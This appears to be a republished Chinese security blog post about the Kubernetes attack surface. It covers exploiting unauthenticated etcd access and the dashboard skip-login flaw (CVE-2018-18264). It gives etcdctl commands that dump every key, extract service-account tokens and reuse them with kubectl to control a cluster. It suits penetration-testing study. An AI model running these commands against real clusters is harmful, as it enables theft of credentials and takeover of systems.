接上文:https://mp.weixin.qq.com/s/ukm64QJ1yytKNpwRBeP6sg
3. etcd未授权访问
etcd默认监听了2379
等端口,如果2379端口暴露到公网,可能造成敏感信息泄露。etcd若存在未授权,攻击者导出全量etcd配置,获取k8s认证证书等关键配置,进而通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机。
访问https://IP:2379/v2/keys,有内容,类似{“action”:“get”,“node”:{“dir”:true}} 这样的,就确定存在未授权访问。
https://github.com/etcd-io/etcd/releases/ 下载 得到etcdctl
通过如下命令可以遍历所有的key:
- export ETCDCTL_API=3
./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
# 服务器启用了https
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
下面的命令,通过v3 API来dump数据库到 output.data:
- ETCDCTL_API=3
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >> output.data'
# 比如获取具体的token
etcdctl.exe --endpoints="10.10.10.10:2379" get /register/secrets/kube-system/clusterrole-xxx-xxx-token-o4dk9
拿到token后跟之前一样创建test_config
控制集群,也可以直接使用token:
- ./kubectl --insecure-skip-tls-verify -s https://10.10.10.10:6443 get pods --token="eyJhbGxxxxx"
4. dashboard未授权访问(CVE-2018-18264)
k8s dashboard的enable-skip-login
开启时,登录页面可选择跳过登录:
登录后,可通过dashboard获取pod、node和job等状态。
在安装dashboard的时候,会默认建立dashboard-admin账号并且分配cluster-admin的角色:
因此在kube-system中找到关键字admin的账号token就能登录dashboard后台:
若业务配置错误或为了方便给 Kubernetes dashboard 绑定 cluster-admin等角色,攻击者可直接在界面上创建特权 pod 进行容器逃逸。
参考链接
https://mp.weixin.qq.com/s/T2QGLlKwjaUByDtGFL94PQ
https://blog.csdn.net/w1590191166/article/details/122028001?spm=1001.2014.3001.5501
原文始发于微信公众号(信安文摘):【云原生渗透】- k8s的攻击利用面(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论